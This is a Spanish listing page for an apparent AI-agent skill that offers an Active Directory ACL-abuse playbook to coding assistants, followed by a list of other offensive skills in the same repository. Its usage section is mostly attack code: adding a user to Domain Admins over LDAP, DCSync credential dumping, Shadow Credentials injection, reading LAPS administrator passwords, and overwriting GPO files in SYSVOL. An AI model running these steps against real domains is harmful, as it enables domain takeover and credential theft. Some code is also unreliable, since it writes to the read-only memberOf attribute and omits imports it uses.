CommunityProgramación y desarrollogithub.com

yaklang/active-directory-acl-abuse

Manual de abuso de ACL en Active Directory. Útil para explotar permisos mal configurados como GenericAll, WriteDACL, DCSync, credenciales fantasma, lectura de LAPS, abuso de GPO y rutas de ataque guiadas por BloodHound.

¿Qué es active-directory-acl-abuse?

Este skill proporciona un playbook completo para explotar permisos de Active Directory mal configurados mediante técnicas de abuso de ACL (Listas de Control de Acceso). Está diseñado principalmente para asistentes de IA como Claude Code, Cursor y Codex, permitiendo a los desarrolladores y pentesters automatizar ataques como GenericAll, WriteDACL, DCSync, Shadow Credentials, lectura de LAPS, abuso de GPO y la navegación de rutas de ataque identificadas por BloodHound. El skill utiliza la sintaxis de YAK para ejecutar comandos específicos contra controladores de dominio Windows, facilitando la enumeración y manipulación de objetos de AD. Es útil en entornos de pruebas de penetración y auditorías de seguridad, donde se requiere una interacción rápida y precisa con Active Directory. La integración con herramientas como BloodHound permite priorizar los vectores de ataque más críticos, mientras que las funciones de verificación de permisos aseguran que solo se ejecuten acciones permitidas. Todo el proceso está documentado en SKILL.md con ejemplos prácticos y advertencias de seguridad.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/yaklang/hack-skills/tree/main/skills/active-directory-acl-abuse

Installed? Explore more Programación y desarrollo skills: steipete/bluebubbles, steipete/eightctl, steipete/blucli · View all 6 →

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace active-directory-acl-abuse?

Manual de abuso de ACL en Active Directory. Útil para explotar permisos mal configurados como GenericAll, WriteDACL, DCSync, credenciales fantasma, lectura de LAPS, abuso de GPO y rutas de ataque guiadas por BloodHound.

Requisitos

  • Cliente LDAP: ldap (biblioteca estándar de YAK).
  • Acceso a dominio: Credenciales de dominio válidas o un ticket Kerberos.
  • BloodHound (opcional): Para consultar rutas de ataque.

Uso básico

1. Enumerar DACLs sospechosas

yak ldap --host dc01.corp.local --username admin --password Pass123! --base-dn "DC=corp,DC=local" --filter "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))"

2. Explotar GenericAll sobre un usuario

import (
    "ldap"
)

conn, err := ldap.Dial("tcp", "dc01.corp.local:389")
if err != nil {
    println(err)
}
defer conn.Close()

// Autenticación
conn.Bind("CN=admin,CN=Users,DC=corp,DC=local", "Pass123!")

// Agregar al usuario 'jdoe' al grupo 'Domain Admins'
conn.Modify("CN=jdoe,CN=Users,DC=corp,DC=local", []*ldap.ModifyRequest{
    ldap.NewModifyRequest(
        ldap.NewModifyEntry("memberOf", []string{"CN=Domain Admins,CN=Users,DC=corp,DC=local"}),
    ),
})

3. Abuso de DCSync (requiere permisos Replication-Get-Changes-All)

yak dcsync -domain corp.local -user Administrator -dc dc01.corp.local

4. Shadow Credentials (requiere permisos msDS-KeyCredentialLink)

import (
    "ldap"
    "crypto/x509"
    "encoding/pem"
)

// Generar par de llaves y certificado
privKey, _ := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
// ... (crear certificado autofirmado)

// Agregar el certificado como shadow credential
conn.Modify("CN=targetUser,CN=Users,DC=corp,DC=local", []*ldap.ModifyRequest{
    ldap.NewModifyRequest(
        ldap.NewModifyEntry("msDS-KeyCredentialLink", []string{base64.StdEncoding.EncodeToString(certBytes)}),
    ),
})

5. Lectura de LAPS

conn, err := ldap.Dial("tcp", "dc01.corp.local:389")
conn.Bind("CN=admin,CN=Users,DC=corp,DC=local", "Pass123!")

searchReq := &ldap.SearchRequest{
    BaseDN: "CN=Computers,DC=corp,DC=local",
    Filter: "(cn=WEB01)",
    Attributes: []string{"ms-mcs-AdmPwd", "ms-mcs-AdmPwdExpirationTime"},
}
result, err := conn.Search(searchReq)
if len(result.Entries) > 0 {
    println("LAPS password:", result.Entries[0].GetAttributeValue("ms-mcs-AdmPwd"))
}

6. Abuso de GPO (requiere permisos Write)

import (
    "smb"
)

conn, err := smb.Dial("tcp", "dc01.corp.local:445")
conn.Authenticate("admin", "Pass123!", "corp")

// Conectarse al recurso SYSVOL y modificar una GPO
disk, err := conn.Mount("SYSVOL")
disk.Write("corp.local/Policies/{GPO-GUID}/Machine/Registry.pol", newRegistryPolContent)

Integración con BloodHound

  1. Obtener rutas de ataque desde BloodHound mediante consultas Cypher:
bloodhound --query "MATCH (n:User {name:'[email protected]'})-[r:GenericAll]->(m:Group {name:'DOMAIN [email protected]'}) RETURN n,m,r" --format json
  1. Mapear los permisos identificados con las técnicas de este playbook.

Advertencias

  • Solo para entornos autorizados: El abuso de ACL puede causar daños irreversibles.
  • Registros de auditoría: Los cambios en ACL generan eventos de seguridad (ID 5136, 4738, etc.).
  • Compatibilidad: Probado en Windows Server 2019+ y Active Directory con nivel funcional 2016+.

Referencias

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

yaklang/401-403-bypass-techniques

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

yaklang/active-directory-certificate-services

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

yaklang/active-directory-kerberos-attacks

Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

yaklang/ai-ml-security

AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing, data privacy attacks (membership inference, model inversion), and autonomous agent security risks.

yaklang/android-pentesting-tricks

Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.

yaklang/anti-debugging-techniques

Anti-debugging detection and bypass playbook. Use when reversing protected binaries that detect debuggers via ptrace, PEB flags, timing checks, or signal/exception handlers on Linux and Windows.

yaklang/api-auth-and-jwt-abuse

API authentication and JWT abuse playbook. Use when testing bearer tokens, API keys, claim trust, header spoofing, rate limits, and API auth boundary weaknesses.

yaklang/api-authorization-and-bola

API authorization and BOLA testing playbook. Use when APIs expose object identifiers, nested resources, hidden writable fields, or weak function-level authorization.

yaklang/api-recon-and-docs

API reconnaissance and documentation review playbook. Use when discovering endpoints, schemas, versions, OpenAPI specs, hidden docs, and surface area for API testing.

yaklang/api-sec

Entry P1 category router for API security. Use when choosing between API recon, authorization, token abuse, and hidden-parameter workflows before any deeper API topic skill.

yaklang/arbitrary-write-to-rce

Arbitrary write to RCE playbook. Use when you have an arbitrary write primitive (from heap exploitation, format string, or OOB write) and need to convert it into code execution by targeting GOT, hooks, _IO_FILE vtable, exit_funcs, TLS_dtor_list, modprobe_path, .fini_array, or C++ vtables.

yaklang/authbypass-authentication-flaws

Authentication bypass testing playbook. Use when assessing login flows, password reset logic, account recovery, MFA bypass, token predictability, brute-force resistance, and session boundary flaws.

yaklang/auth-sec

Entry P1 category router for authentication and authorization. Use when testing login flows, sessions, object authorization, JWT, OAuth, CORS, CSRF, and enterprise SSO weaknesses before any deeper auth topic skill.

yaklang/binary-protection-bypass

Binary protection bypass playbook. Use when identifying and bypassing ASLR, PIE, NX/DEP, stack canary, RELRO, FORTIFY_SOURCE, CET, and MTE protections in ELF binaries to enable exploitation.

yaklang/browser-exploitation-v8

Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

yaklang/business-logic-vuln

Entry P1 category router for business logic testing. Use when workflow abuse, race conditions, pricing flaws, or multi-step state attacks matter more than parser-level input injection.

yaklang/business-logic-vulnerabilities

Business logic vulnerability playbook. Use when reasoning about workflows, race conditions, price manipulation, coupon abuse, state machines, and multi-step authorization gaps.

yaklang/classical-cipher-analysis

Classical cipher analysis playbook. Use when encountering substitution ciphers, Vigenere, transposition, XOR, or encoded text in CTF challenges that requires frequency analysis, Kasiski examination, or known-plaintext cryptanalysis.

yaklang/clickjacking

Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions.

yaklang/cmdi-command-injection

Command injection playbook. Use when user input may reach shell commands, process execution, converters, import pipelines, or blind out-of-band command sinks.

Skills relacionados